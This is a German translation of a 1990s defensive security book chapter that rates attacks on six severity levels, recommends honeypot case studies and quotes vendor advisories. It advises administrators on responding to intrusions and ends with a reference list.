Cracker, mit einer Reihe plumper Attacken einen bestimmten Rechner zu knacken. Ab hier ist die
Geschichte, die Cheswick erzählt, wirklich faszinierend. Cheswick und seine Kollegen schafften eine
spezielle, geschützte (chroot-)Umgebung, in der der Cracker nach Herzenslust knacken durfte. Auf diese
Weise konnte man ihn ganz genau beobachten. Das Dokument enthält viele Log- Protokolle, und es ist
wirklich eine Pflichtlektüre.
Wegweiser:
Sie finden »An Evening With Berferd In Which a Cracker is Lured, Endured and Studied« online unter
ftp://research.att.com/dist/internet_security/berferd.ps .
Hinweis:
Angriffsebenen
file:///d|/cool stuff/old/hack/kap25.htm (9 von 21) [19.04.2000 21:15:35]
Tsutomu Shimomura und Wietse Venema waren auch an dieser Aktion beteiligt, die über einen recht
langen Zeitraum lief. Shimomura fing Berichten zufolge den Netzwerkverkehr ab, während Venema den
Cracker (und seine Gefährten) in den Niederlanden überwachte. Cheswick berichtete außerdem, daß
Steve Bellovin den Köder-Rechner konstruierte, den sie für solche Fälle vorgesehen hatten. Sie
glaubten, daß ein solcher Rechner eine bessere Umgebung darstellen würde, um einen Cracker bei der
Arbeit zu beobachten, da dieser ruhig auch auf Root-Ebene offengelegt werden könnte (und eventuell
sogar das Dateisystem zerstört werden könnte). Sie plazierten den Rechner einfach in einem
Netzwerksegment, in dem auch ein Sniffer installiert werden konnte. Wenn der Cracker also das
Dateisystem des Köders zerstören würde, könnten sie dennoch Nutzen aus den Log-Dateien ziehen.
Dieses Dokument ist wirklich hervorragend. Es ist humorvoll, unterhaltsam und unglaublich lehrreich.
Hinweis:
Wie es nun einmal so ist, hatte Steve Bellovin einen Rechner als Köder präpariert, der später zum
Vorbild für andere derartige Rechner wurde. In dem oben erwähnten Dokument wird ausführlich
beschrieben, wie man ein solches System einrichtet, in das die Leute bei Bell den Cracker gelockt
hatten.
Es gibt noch weitere Berichte dieser Art. Ein besonders vernichtender stammt von Tsutomu Shimomura,
der einen Cracker beobachtete, der dem oben erwähnten sehr ähnlich war. Die Person gab vor, der Mitnik
Liberation Front anzugehören (der Name sagt wohl schon alles). Auf jeden Fall legte dieser Cracker ein
Ködersystem bloß, das dem von Bellovin präparierten ähnelte. Shimomuras Kommentare wechseln sich
ab mit Beschreibungen erfolgloser Versuche des Crackers, mehr zu erreichen. Auch Protokolle dieser
Sitzungen sind in dem Dokument enthalten. Es ist eine interessante Studie.
Wegweiser:
Shimomuras Bericht finden Sie unter http://www.takedown.com/evidence/ anklebiters/mlf/index.html.
Eine weitere fesselnde Beschreibung stammt von Leendert van Dorn von der Universität Vrije in den
Niederlanden. Sie trägt den Titel »Computer Break-ins: A Case Study« (21. Januar 1993). Dieses
Dokument beschäftigt sich mit unterschiedlichen Arten von Angriffen. Die Techniken wurden aus
tatsächlich gegen die Universität Vrije ausgeführten Angriffen zusammengestellt. Einige der Angriffe
waren ziemlich ausgeklügelt.
Wegweiser:
Van Dorns Bericht finden Sie online unter
http://www.alw.nih.gov/Security/FIRST/papers/general/holland.ps .
Ein bekannteres Dokument ist vielleicht »Security Breaches: Five Recent Incidents at Columbia
University«. Da ich dieses Dokument an anderer Stelle in diesem Buch analysiere, werde ich hier davon
absehen. Es ist jedenfalls eine ausgezeichnete Studie, die viel Licht ins Dunkel des Verhaltens von
Crackern bei der Umsetzung von Angriffen bringt.
Wegweiser:
»Security Breaches: Five Recent Incidents at Columbia University« finden Sie unter
http://www.alw.nih.gov/Security/FIRST/papers/general/ fuat.ps.
Angriffsebenen
file:///d|/cool stuff/old/hack/kap25.htm (10 von 21) [19.04.2000 21:15:35]
Gordon R. Meyer hat eine sehr interessante Magisterarbeit an der Northern Illinois University verfaßt,
mit dem Titel »The Social Organization of the Computer Underground«. Darin analysierte Meyer die
Computer-Untergrundszene aus soziologischer Sicht und sammelte einige sehr aufschlußreiche
Informationen. Die Arbeit ist zwar schon recht alt, enthält aber heute noch interessante Auszüge von
Radio- und Fernsehinterviews, Zeitschriften und anderen Publikationen. Obwohl Meyers Arbeit nicht
wie die oben erwähnten Dokumente spezielle Vorgehensweisen im Detail enthüllt, beschreibt sie doch
sehr klar und deutlich die sozialen Aspekte des Knackens von Computersystemen.
Wegweiser:
Meyers Arbeit, aus dem August 1989, finden Sie online unter http://
www.alw.nih.gov/Security/FIRST/papers/general/hacker.txt.
25.8 Der Sensibilitätsindex der Crack-Ebenen
Abb. 25.1 zeigt sechs Ebenen Ihres Netzwerks. Ich werde diese Ebenen als Ebenen der Sensibilität
bezeichnen. In den Kästchen sind die mit den jeweiligen Cracking-Techniken verbundenen Risiken
beschrieben.
Abbildung 25.1: Der Sensibilitätsindex der Crack-Ebenen
25.8.1 Ebenen der Sensibilität
Die Ebenen der Sensibilität sind in allen Netzwerken ziemlich ähnlich (abgesehen von denen mit
sicheren Netzwerkbetriebssystemen). Die üblichen Risiken lassen sich in einer Liste zusammenfassen,
die sich seit 10 Jahren nicht grundlegend verändert hat. Änderungen kommen selten vor, außer bei der
Einführung von neuen Technologien wie ActiveX, die die Ausführung beliebiger Binaries über das
Internet ermöglichen.
Die Mehrheit der Cracker nutzt die Sicherheitslücken aus, von denen wir täglich in
Sicherheits-Newsgruppen hören. Wenn Sie diese Gruppen häufiger aufsuchen (oder eine Mailingliste),
haben Sie die folgenden Worte wahrscheinlich schon tausendmal gelesen:
»Sie hatten test.cgi immer noch in ihrem cgi-bin-Verzeichnis.«
»Es war ein Linux-Rechner, und offensichtlich hatten sie sudo und einige der Demo-Benutzer
installiert.«
»Das phf-Script hat sie erledigt.«
Angriffsebenen
file:///d|/cool stuff/old/hack/kap25.htm (11 von 21) [19.04.2000 21:15:35]
25.8.2 Ebene eins
In Ebene eins angesiedelte Attacken sind im Grunde unwichtig. Diese Attacken beinhalten DoS-Attacken
und Mailbomben. Es erfordert bestenfalls 30 Minuten Zeit, diese Dinge zu korrigieren. Die einzige
Absicht solcher Angriffe ist es, Ihnen auf die Nerven zu gehen. In den meisten Fällen können Sie diese
Probleme stoppen, indem Sie ein Ausschlußverfahren anwenden, wie in dem von der Universität
Pittsburgh herausgegebenen Sicherheits-Advisory 95-13 (SATAN Update) beschrieben:
Denial-of-Service-Attacken sind immer möglich. Die beste Art damit umzugehen ist, die
Quell-Hosts/Netzwerke der Angreifer auf die DENY-Listen in der inetd.sec zu setzen. Es gibt
keine andere Möglichkeit, diese Angriffe zu verhindern, außer den Netzwerkbetrieb ganz
einzustellen.
Tip:
Wenn Sie Anzeichen für eine DoS-Attacke entdecken, sollten Sie im ganzen System nach Zeichen eines
Einbruchs suchen. Flooding- und DoS-Attacken sind oft Vorboten oder sogar Wegbereiter einer
Spoofing-Attacke. Wenn Sie an einem bestimmten Port eines Rechners deutliches Flooding entdecken,
notieren Sie sich den Port und was dieser macht. Prüfen Sie, welcher Dienst an ihn gebunden ist. Wenn
dieser Dienst ein Bestandteil Ihres internen Systems ist - wobei andere Rechner ihn benutzen und die
Kommunikation auf einer Adreß-Authentifizierung beruht - sollten Sie auf der Hut sein. Was wie eine
DoS-Attacke aussieht, könnte in Wirklichkeit der Anfang eines Einbruchversuchs in Ihr Netzwerk sein.
Meistens sind DoS-Attacken, die über längere Zeit andauern, jedoch nur das, wonach sie aussehen: ein
Ärgernis.
Es gibt einige Fälle, in denen eine Denial-of-Service-Attacke ernstere Auswirkungen haben kann.
Bestimmte obskure Konfigurationen Ihres Netzwerks könnten bedrohlichere Zustände begünstigen.
Christopher Klaus von Internet Security Systems hat in einem Beitrag zu DoS- Attacken einige derartige
Konfigurationen definiert. Klaus schrieb:
Durch das Aussenden eines UDP-Pakets mit fehlerhaften Informationen im Header kann
man bei einigen Unix-Rechnern mit Sun-OS 4.1.3 einen Reboot herbeiführen. Dieses
Problem trifft man häufig bei Firewalls an, die auf einem Sun-OS-Rechner aufsetzen. Es
könnte eine sehr riskante Sicherheitslücke sein, wenn Ihre Firewall immer wieder ausfällt.
Klaus spricht noch weitere DoS-Attacken an. Ich würde Ihnen empfehlen, sich den Beitrag einmal
anzusehen. Er enthält Informationen zu Schwachstellen von Windows NT, Novell, Linux und Unix im
allgemeinen.
Wegweiser:
Sie finden Klaus' Beitrag online unter http://www.geek-girl.com/bugtraq/ 1996_2/0052.html.
Wenn es sich bei einem Angriff um eine syn_flood-Attacke handelt, gibt es einige Möglichkeiten, den
Cracker zu identifizieren. Augenblicklich sind im Internet vier maßgebliche syn_flooding-Utilities im
Umlauf. Mindestens zwei davon enthalten einen grundlegenden Fehler, der die Identität des Angreifers
offenlegt, wenn auch indirekt. Diese Tools haben in ihrem Code Vorkehrungen für eine Reihe von
PING-Anweisungen. Diese PING-Anweisungen führen die IP-Adresse des Rechners mit, von dem sie
Angriffsebenen
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ausgegeben worden sind. Wenn der Cracker also eines dieser Utilities benutzt, teilt er Ihnen bei jedem
PING-Befehl seine IP-Adresse mit. Obwohl Sie dadurch nicht an die E-Mail-Adresse gelangen, können
Sie mit Hilfe der früher in diesem Buch beschriebenen Methoden den Cracker zu seiner Quelle
zurückverfolgen. (Wie bereits erwähnt, wird traceroute das Netzwerk preisgeben, von dem der Cracker
kommt. Das ist im allgemeinen der vorletzte Eintrag der umgekehrten traceroute -Suche.) Das Problem
dabei ist jedoch, daß Sie gründliches Logging einsetzen müssen, um allen Traffic zwischen Ihnen und
dem Cracker abzufangen. Um diese IP-Adresse zu finden, müssen Sie schon ganz schön tief graben. Auf
jeden Fall haben Sie aber eine 50%ige Chance, wenn der Cracker solch ein fehlerhaftes Utility
verwendet.
Hinweis:
Die anderen beiden Utilities für syn_flooding haben diesen PING-Fehler nicht. Die Entwickler dieser
Tools waren ein bißchen schlauer. Sie haben eine Vorkehrung eingebaut, die eine per Zufallsgenerator
erzeugte IP- Adresse vortäuscht. Das macht die Situation für das Opfer natürlich nicht einfacher. Sogar
eine Low-Level-Analyse der erhaltenen Pakete ist verschwendete Zeit. Den unerfahrenen
Systemadministrator könnte das ganz schön verwirren. Raffiniert, oder?
Die meisten Denial-of-Service-Attacken stellen ein relativ geringes Risiko dar. Sogar Attakken, die einen
Reboot erzwingen können, sind nur vorübergehende Probleme. Diese Art von Angriffen unterscheidet
sich stark von solchen, bei denen sich jemand die Kontrolle über Ihr Netzwerk verschafft. Das einzig
wirklich Irritierende bei DoS-Attacken ist, daß sie zwar ein geringes Risiko darstellen, aber dafür die
Wahrscheinlichkeit eines solchen Angriffs sehr groß ist. Ein Crakker muß nur über wenig Erfahrung und
Können verfügen, um eine DoS- Attacke implementieren zu können. Diese Angriffe sind daher sehr
verbreitet, wenn auch nicht ganz so verbreitet wie Mailbombings.
Bei Mailbombings sind die Übeltäter meistens leicht aufzuspüren. Außerdem kann man diesen Angriffen
durch Bozo-Filter und Ausschlußschemata den Wind aus den Segeln nehmen (sie schaden im Endeffekt
dem Angreifer mehr als irgend jemandem sonst). Die einzige wirkliche Ausnahme ist ein Mailbombing,
das so konsequent und in einem solchen Ausmaß durchgeführt wird, daß es einen MailServer lahmlegt.
Andere Angriffe der Ebene eins sind z.B. Idioten, die Telnet-Sitzungen zu Ihrem Mail- oder
News-Server einleiten und versuchen, freigegebene Verzeichnisse oder sonstige Dinge zu ermitteln.
Solange Sie Ihr Netzwerk ordentlich gesichert haben, sind solche Aktivitäten keine Gefahr. Wenn Sie die
Freigaben nicht richtig konfiguriert haben oder die r-Utilities laufen lassen (oder andere Dinge, die Sie
nicht laufen lassen sollten), können einige dieser durchschnittlichen Techniken der Ebene eins sich zu
richtigem Ärger auswachsen.
25.8.3 Die Ebenen zwei und drei
Die Ebenen zwei und drei beinhalten Dinge wie lokale Benutzer, die sich Lese- und Schreibberechtigung
zu Dateien (oder Verzeichnissen) verschaffen, die ihnen eigentlich verboten sind. Ob das zu einem
Problem wird, hängt stark von dem Wesen dieser Datei(en) ab. Sicherlich kann jeder lokale Benutzer, der
auf das Verzeichnis /tmp zugreifen kann, zu einer kritischen Gefahr werden. Dies könnte ihm den Weg
zu einem Angriff der Ebene drei (der nächsten Stufe) bereiten, bei dem der Benutzer auch Schreibzugriff
erhalten (und damit in Ebene vier vordringen) könnte. Von diesem Problem sind hauptsächlich Unix-
und Windows-NT-Administratoren betroffen.
Angriffsebenen
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Lokale Angriffe sind ein bißchen anders. Der Begriff lokaler Benutzer ist relativ. In Netzwerken bezieht
sich lokaler Benutzer auf jeden, der momentan an einem Rechner innerhalb des Netzwerks eingeloggt ist.
Eine bessere Definition ist vielleicht, daß ein lokaler Benutzer jemand ist, der ein Paßwort für einen
Rechner innerhalb Ihres Netzwerks hat und deshalb über ein Verzeichnis auf einer Ihrer Festplatten
verfügt.
Die Bedrohung durch lokale Benutzer steht in direktem Zusammenhang mit der Art des Netzwerks, das
Sie unterhalten. Wenn Sie ein ISP sind, haben Sie wahrscheinlich 90 Prozent Ihrer lokalen Benutzer noch
nie gesehen oder gesprochen. Solange die Abbuchungen von ihrer Kreditkarte jeden Monat problemlos
erfolgen, haben Sie mit diesen Leuten wahrscheinlich noch nicht mal per E-Mail sehr viel Kontakt (die
monatliche Abrechnung zählt nicht so recht). Es gibt keinen Grund, warum diese anonymen Personen
keine Cracker sein sollten. Jeder außer Ihren engsten Mitarbeitern ist ein potentieller Verdächtiger.
Hinweis:
Microsoft Windows 95 hat keine abgestufte Zugriffskontrolle. Deshalb sind Windows-95-Netzwerke
absolut unsicher, wenn keine Zugriffskontrolle von Drittanbietern installiert wird. Aus diesem Grund
sind Angriffe der Ebene zwei dort kritisch und können sich innerhalb von Sekunden leicht zu Angriffen
der Ebenen drei, vier, fünf und sechs ausweiten. Wenn Sie ein solches Netzwerk betreiben, sollten Sie
sich sofort irgendeine Art der Zugriffskontrolle besorgen. Wenn Sie das nicht tun, kann jeder (jederzeit)
ein oder mehrere kritische Dateien löschen. Viele Programme in der Windows-95-Umgebung beruhen
auf Datei-Abhängigkeiten. Wenn Sie ein mit dem Internet verbundenes Windows-95-Netzwerk betreiben
(ohne Zugriffskontrolle oder Beseitigung der Sicherheitslücken im Internet Explorer), ist es nur eine
Frage der Zeit, bis jemand Ihr Netzwerk in Stücke reißt. Ein Cracker muß nur wenige Dateien auf einem
Windows-95-Netzwerk löschen, um es dauerhaft außer Betrieb zu setzen. Wenn Sie die Möglichkeit
haben, sollten Sie allen Traffic zu den Ports 137-139 überwachen, an denen die gemeinsamen
Nutzungen geschehen. Außerdem würde ich den Benutzern innerhalb dieses Netzwerks strengstens
verbieten, Web- oder FTP-Server zu installieren. Wenn Sie schon die Microsoft-Plattform benutzen und
der Außenwelt zugängliche Server bereitstellen wollen (wovon ich Ihnen dringend abraten möchte),
besorgen Sie sich wenigstens NT.
Ein durch einen lokalen Benutzer initiierter Angriff kann jämmerlich schlecht oder extrem ausgereift
sein; er wird grundsätzlich über Telnet erfolgen. Ich habe bereits erwähnt, daß es für einen ISP eine
ausgezeichnete Idee ist, alle Shell-Accounts auf einem einzigen Rechner zu isolieren. D.h. Logins sollten
nur auf dem Rechner (oder Rechnern) akzeptiert werden, die Sie für den Shell-Zugang vorgesehen
haben. Das vereinfacht die Verwaltung von Protokollen, Zugriffskontrollen und anderen
Sicherheitsaspekten.
Tip:
Sie sollten außerdem generell alle Systemrechner isolieren, auf denen von Benutzern erzeugte
CGI-Programme untergebracht werden.
Diese Rechner sollten ein eigenes Netzwerksegment zugeteilt bekommen. D.h. sie sollten entweder
durch Router oder Switches umgeben sein, je nachdem, wie Ihr Netzwerk konfiguriert ist. Die Topologie
sollte sicherstellen, daß bizarre Arten des Hardware-Adreß-Spoofings nicht hinter dieses bestimmte
Segment durchsickern können. Das beinhaltet einige mit Vertrauen zusammenhängende Dinge, die ich
später in diesem Buch noch ansprechen werde.
Angriffsebenen
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Es gibt nur zwei Arten von Angriffen, denen Sie begegnen werden. Die weniger ernste ist der
umherstreifende Benutzer. Das sind Cracker, die sich erst einmal umsehen (solche Leute leiten z.B. die
passwd-Datei an STDOUT, um zu sehen, ob sie privilegierte Dateien lesen können). Im Gegensatz dazu
könnten Sie allerdings auch auf einen organisierten und gut durchdachten Angriff treffen. In diesem Fall
kennt der Angreifer Ihre Systemkonfiguration bereits gut. Vielleicht hat er sie zuvor schon von einem
Account eines anderen Providers aus untersucht (wenn Ihr System der Außenwelt Informationen
preisgibt, ist dies definitiv eine Möglichkeit).
Wenn Sie Umgebungen mit aktivierter Zugriffskontrolle verwenden, gibt es zwei Hauptprobleme in
bezug auf Berechtigungen. Beide können beeinflussen, ob ein Problem der Ebene zwei zu einem
Problem der Ebene drei, vier oder fünf eskaliert. Diese Probleme sind:
Fehlerhafte Konfiguration Ihrerseits
Inhärente Sicherheitslücken der Software
Zu der ersten Möglichkeit kann es kommen, wenn Sie das Berechtigungsschema nicht richtig verstanden
haben. Das ist kein Verbrechen. Ich habe bemerkt, daß nicht jeder Unix- oder NT-Administrator ein
Guru ist (obwohl die wenigsten dies zugeben würden). Es braucht Zeit, sich ein tiefergehendes Wissen
des Systems anzueignen. Nur weil Sie ein Informatikstudium oder eine vergleichbare Ausbildung
abgeschlossen haben, heißt das noch lange nicht, daß Ihr System sicher sein muß. Es gibt Tools, mit
denen man prüfen kann, ob man bei der Konfiguration Fehler gemacht hat, und ich gebe in diesem Buch
einige davon an. Wenn Sie auch nur den geringsten Verdacht haben, daß die Berechtigungen falsch
gesetzt sein könnten, besorgen Sie sich diese Tools und prüfen Sie es genau nach.
Tip:
Viele Sicherheitstools beinhalten Tutorials zu Sicherheitslücken. SATAN ist ein großartiges Beispiel
dafür. Die mit SATAN gelieferten Tutorials sind sehr wertvoll und helfen einem, viele Schwachstellen
des Systems zu verstehen, sogar wenn man kein Unix-System hat. Zum Beispiel, wenn Sie Journalist
sind und mehr über die Unix-Sicherheit erfahren wollen. Sie brauchen kein Unix-System, um die
HTML-Tutorials verstehen zu können, die bei SATAN mitgeliefert werden.
Die zweite Möglichkeit kommt häufiger vor, als Sie denken. Solche Fehler tauchen immer wieder auf. So
heißt es z.B. im CERT-Advisory »Vulnerability in IRIX csetup« (Januar 1997):
Das CERT Coordination Center hat Informationen über eine Sicherheitslücke in dem
Programm csetup unter den IRIX-Versionen 5.x, 6.0, 6.0.1, 6.1 und 6.2 erhalten. Unter IRIX
6.3 und 6.4 ist csetup nicht verfügbar. Durch Ausnutzen dieser Sicherheitslücke können
lokale Benutzer beliebige Dateien auf dem System erzeugen oder überschreiben. Mit diesen
Möglichkeiten können sie sich schließlich Root-Privilegien aneignen.
Wegweiser:
Dieses Advisory finden Sie online unter http://www.safesuite.com/lists/ gen1/1421.html.
Sie sollten sich dieses Advisory gut ansehen. Beachten Sie das Datum - dies ist nicht irgendein altes
Advisory aus den 80er Jahren, sondern von 1997. Diese Arten von Problemen können bei keinem
Unternehmen ausgeschlossen werden. Sicherheitslöcher werden routinemäßig in Programmen jeder Art
von Betriebssystem gefunden, wie in dem CERT-Advisory »Vulnerability in Solaris admintool« (August
Angriffsebenen
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1996) beschrieben ist:
AUSCERT hat einen Bericht über eine Sicherheitslücke in der Solaris-2.x-Distribution von
Sun Microsystems erhalten, die auf das Programm admintool zurückzuführen ist. Dieses
Programm wird verwendet, um eine grafische Benutzeroberfläche für zahlreiche Aufgaben
der Systemadministration zur Verfügung zu stellen. Die Sicherheitslücke kann es einem
lokalen Benutzer ermöglichen, Root-Privilegien zu erhalten... bei Solaris 2.5 ist das
admintool per Voreinstellung set-user-id-root. D.h. alle Dateizugriffe werden mit der
UID von root ausgeführt. Eine Auswirkung davon ist, daß diese Schwachstelle den Zugriff
auf alle Dateien des Systems erlaubt. Wenn dies ausgenutzt wird, indem versucht wird, eine
Datei zu erzeugen, die bereits existiert, wird der Inhalt dieser Datei gelöscht. Wenn die
Datei noch nicht existiert, wird sie mit Root als Eigentümer erzeugt und ist somit für alle
Welt schreibbar.
Wegweiser:
Dieses Advisory finden Sie online unter
http://www.dice.ucl.ac.be/crypto/olivier/cq/msgs3/msg00010.html .
Dabei macht es keinen Unterschied, welches System Sie haben. Für fast alle Betriebssysteme werden
Bugs gepostet. Die meisten Netzwerksysteme sehen sich jeden Monat mit mindestens einem Advisory
dieser Art konfrontiert (mit dieser Art meine ich solche, die zu privilegiertem oder sogar Root-Zugriff
führen können). Es gibt keine unmittelbare Lösung für dieses Problem, weil die meisten dieser
Sicherheitslöcher nicht bekannt waren, als die Software ausgeliefert wurde. Die einzige Möglichkeit ist,
alle Mailing-Listen zu abonnieren, die Bugs, Sicherheitslöcher und Ihr System betreffen. In dieser
Hinsicht ist Sicherheit ein immerwährender Lernprozeß.
Es gibt einige Techniken, die Sie anwenden können, um auf der Höhe der Zeit zu bleiben. Wenn Sie
Mailing-Listen abonnieren, werden Sie mit E-Mails zugeschüttet. Einige Listen erzeugen bis zu 50
Nachrichten pro Tag. Auf Unix-Plattformen ist das kein großes Problem, da Sie kontrollieren können,
wie diese Nachrichten auf die Platte geschrieben werden, während sie ankommen (durch Abfangen der
Adresse und Umleitung der Mail in ein bestimmtes Verzeichnis und so weiter). In einer
Microsoft-Windows-Umgebung kann diese Menge an Mails jedoch überwältigend für jemanden sein, der
mit anderen Aufgaben beschäftigt ist. Wenn Sie der Systemadministrator eines NT-Netzwerks sind, gibt
es verschiedene Möglichkeiten. Eine ist, unterschiedliche Listen an unterschiedliche Accounts zu leiten.
Das macht die Handhabung der eingehenden Mail ein bißchen einfacher (es gibt zu diesem Zweck auch
Programme). Unabhängig davon, welche Plattform Sie verwenden, sollten Sie Scripts schreiben, um
diese Mail zu analysieren, bevor Sie sie lesen. Ich würde Perl installieren (das auch für NT erhältlich ist)
und es verwenden, um die Nachrichten nach einer Zeichenfolge zu durchsuchen, die eine Nachricht für
Ihre spezielle Konfiguration interessant macht. Mit ein bißchen Aufwand können Sie sogar ein Script
schreiben, das diese Treffer nach Priorität auflistet.
25.8.4 Ebene vier
Probleme der Ebene vier sind im allgemeinen mit Außenstehenden verbunden, die in der Lage sind, auf
interne Dateien zuzugreifen. Dieser Zugriff kann unterschiedlicher Natur sein. Sie könnten eventuell nur
in der Lage sein, die Existenz bestimmter Dateien zu überprüfen, aber sie könnten auch in der Lage sein,
Angriffsebenen
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diese Dateien zu lesen. In Ebene vier angesiedelte Probleme beinhalten auch solche Sicherheitslücken,
bei denen entfernte Benutzer - ohne gültigen Account - eine begrenzte Anzahl von Befehlen auf Ihrem
Server ausführen können.
Der größte Teil dieser Sicherheitslücken entsteht durch eine fehlerhafte Konfiguration Ihres Servers,
schlechtes CGI und Überlauf-Probleme.
25.8.5 Die Ebenen fünf und sechs
In den Ebenen fünf und sechs liegen Bedingungen vor, unter denen Dinge möglich sind, die niemals
vorkommen dürften. Jedes Sicherheitsloch in Ebene fünf und sechs ist fatal. In dieser Ebene können
entfernte Benutzer Dateien lesen, schreiben und ausführen (normalerweise haben sie mehrere Methoden
kombiniert, um so weit zu kommen). Zum Glück ist es, wenn Sie schon die Ebenen zwei, drei und vier
gesichert haben, fast unmöglich, daß Sie jemals mit einer Krise der Ebenen fünf oder sechs konfrontiert
werden. Wenn Sie die kleineren Möglichkeiten des Eindringens vereitelt haben, beruht eine
Sicherheitslücke der Ebene sechs höchstwahrscheinlich auf fehlerhafter Software.
25.8.6 Reaktionsebenen
Wie sollte man reagieren, wenn man entdeckt, daß ein Angriff im Gange ist? Das hängt ganz von der
Situation ab.
Reaktion auf Angriffe der Ebene eins
Angriffe der Ebene eins können so behandelt werden, wie ich es bereits beschrieben habe. Filtern Sie die
ankommende Adresse und kontaktieren Sie den Service Provider des Angreifers. Dies sind kleinere
Unannehmlichkeiten. Nur wenn die DoS-Attacke in Zusammenhang mit irgendeiner anderen Attacke zu
stehen scheint (vielleicht einer höheren Ebene), oder wenn sie einige Zeit andauert (wie im Fall
Panix.com), sollten Sie sich die Mühe machen, mehr zu tun, als nur den ankommenden Traffic
auszusperren. Wenn Sie jedoch in einer Situation wie bei Panix sind, sollten Sie erwägen, CERT oder
andere Behörden zu informieren.
Reaktion auf Angriffe der Ebene zwei
Angriffe der Ebene zwei können intern behandelt werden. Es gibt keinen Grund, durchsikkern zu lassen,
daß lokale Benutzer auf Dinge zugreifen können, auf die sie nicht zugreifen sollten. Sperren oder löschen
Sie den Account des Benutzers. Wenn es Beschwerden gibt, überlassen Sie die Sache Ihrem Anwalt.
Wenn Sie die Person zur Einsicht bewegen wollen, wird dies nicht viel nützen. Innerhalb eines Monats
wird alles wieder beim alten sein. Das ist kein Spiel. Niemand garantiert Ihnen, daß dieser interne
Benutzer nur ein unschuldiger, neugieriger Mensch ist. Einen Rat habe ich noch für Sie: Sperren Sie den
Account auf jeden Fall ohne Vorwarnung. Auf diese Weise können Sie Beweise sicherstellen, die
ansonsten gelöscht werden könnten.
Hinweis:
Angriffsebenen
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In Fällen, in denen Sie sich nicht ganz von dem Benutzer trennen können (vielleicht, weil es ein
Angestellter ist), können Sie ihn warnen und die Position des Benutzers davon abhängig machen, ob er
sich daran hält. Dokumentieren Sie den Vorfall sorgfältig, damit der Benutzer Sie nicht wegen einer
unbegründeten Entlassung verklagen kann, wenn Sie ihn aufgrund weiterhin auftretender Probleme
schließlich doch feuern müssen.
Reaktion auf Angriffe der Ebenen drei, vier und fünf
Wenn Sie einem Angriff oberhalb der Ebene zwei ausgesetzt sind, haben Sie ein echtes Problem. Sie
müssen dann folgende Dinge tun:
Das Netzwerksegment isolieren, so daß die Aktivität nur noch innerhalb eines kleinen Bereichs
stattfinden kann.
Es zulassen, daß mit der Aktivität fortgefahren wird.
Alle Aktivitäten gründlich protokollieren.
Alles mögliche unternehmen (unter Verwendung eines anderen Netzwerkabschnitts), um die
Quelle oder Quellen des Angriffs zu identifizieren.
Sie haben es mit einem Kriminellen zu tun. Wenn Sie ihn schnappen, brauchen Sie Beweise. Diese
Beweise zu erbringen, wird einige Zeit dauern.
Wann ein Eindringen zur kriminellen Tat wird, ist nach der Internet-Rechtsprechung nicht immer
eindeutig zu bestimmen. Auf jeden Fall reicht es nicht aus, daß jemand versucht, über sendmail an Ihre
Datei /etc/passwd zu gelangen. Auch der Beweis einer Handvoll showmount -Anforderungen wird nicht
genügen. Um wirklich etwas gegen den Eindringling in der Hand zu haben, müssen Sie konkrete
Beweise dafür haben, daß er sich in Ihrem Netzwerk aufgehalten hat, bzw. daß er derjenige war, der Ihr
Netzwerk mit Hilfe einer DoS-Attacke lahmgelegt hat. Um diese Beweise zu erhalten, müssen Sie die
volle Wucht des Angriffs ertragen (es sei denn, Sie können einige Schutzmaßnahmen errichten, die
sicherstellen, daß Ihr Netzwerk durch den Angriff keinen Schaden nehmen wird).
Mein Rat in einer solchen Situation wäre, nicht nur die Polizei einzuschalten, sondern mindestens ein
qualifiziertes Sicherheitsunternehmen, das Ihnen helfen kann, den Angreifer zu schnappen. Das
wichtigste bei einer solchen Operation sind die Log-Dateien und natürlich die Lokalisierung des
Eindringlings. Die Logs können Sie selbst erzeugen. Das Auffinden des Eindringlings gestaltet sich
schon etwas schwieriger. Sie könnten mit einem einfachen traceroute beginnen, und vielleicht setzen Sie
ein Dutzend unterschiedliche Methoden ein, nur um am Ende feststellen zu müssen, daß das Netzwerk,
von dem der Eindringling stammt, selbst ein Opfer ist oder eine bösartige Site. Im schlimmsten Fall ist es
ein Netzwerk, das in einem Land liegt, in dem die deutsche Justiz keinen Einfluß mehr nehmen kann. In
solchen Fällen können Sie wenig anderes tun, als Ihr Netzwerk abzusichern und wieder zur
Tagesordnung überzugehen. Alles andere könnte sehr kostspielig werden und sich am Ende doch als
Zeitverschwendung herausstellen.
Angriffsebenen
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25.9 Zusammenfassung
In diesem Kapitel haben Sie etwas über die unterschiedlichen Ebenen von Angriffen erfahren. Diese
Ebenen sind durchnumeriert, wobei Ebene eins die harmloseste und Ebene sechs die schlimmste Art
eines Angriffs ist. Sie haben erfahren, wie Sie auf die unterschiedlichen Angriffe reagieren sollten und
welche Tools Sie verwenden können, um sie erfolgreich zu bekämpfen.
25.10 Informationsquellen
UNIX Incident Guide How to Detect an Intrusion. http://ciac.llnl.gov/ciac/documents/
CIAC-2305_UNIX_Incident_Guide_How_to_Detect_an_Intrusion.pdf
Securing Internet Information Servers. CIAC-2308.
http://ciac.llnl.gov/ciac/documents/CIAC-2308_Securing_Internet_ Information_Servers.pdf
Threat Assessment of Malicious Code and Human Computer Threats. L. E. Bassham und T. W. Polk.
National Institute of Standards and Technology. Report to the U.S. Army Vulnerability/Survivability
Study Team, NISTIR 4939. Oktober 1992. http://bilbo.isu.edu/security/isl/threat.html
Hackers in the Mist. R. Blake. Northwestern University, Independent study in anthropology. 2.
Dezember 1994. http://www.eff.org/pub/Privacy/Security/
Hacking_cracking_phreaking/Net_culture_and_hacking/Hackers/ hackers_in_the_mist.article
Computer Break-ins: A Case Study. Leendert van Dorn. Vrije University. 21. Januar 1993.
http://www.alw.nih.gov/Security/FIRST/papers/general/holland.ps
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Security Conference. 1. Oktober 1990. http://www.cpsr.org/ftp/cpsr/
computer_crime/denning_defense_hackers.txt
Selling Security: Security Policies Are Key to a Strong Defense, But Top Management Must First Be
Brought on Board. C. Waltner. InfoWorld. http://www.infoworld.com/cgi-bin/
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The United States vs. Craig Neidorf: A Debate on Electronic Publishing Constitutional Rights and
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www.aracnet.com/~gtr/archive/intrusions.html
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Labs. ftp://research.att.com/dist/internet_security/berferd.ps
Recombinant Culture: Crime in the Digital Network. C. E. A. Karnow. Vorgestellt auf der Defcon II. Juli
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The Baudy World of the Byte Bandit: A Postmodernist Interpretation of the Computer Underground. G.
Meyer und J. Thomas. Department of Sociology, Northern Illinois University. 5. März 1990.
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http://ei.cs.vt.edu/~cs6704/papers/meyer.txt
25.10.1 Erkennen von Eindringlingen (Intrusion Detection)
An Introduction to Intrusion Detection. Aurobindo Sundaram.
http://www.techmanager.com/nov96/intrus.html
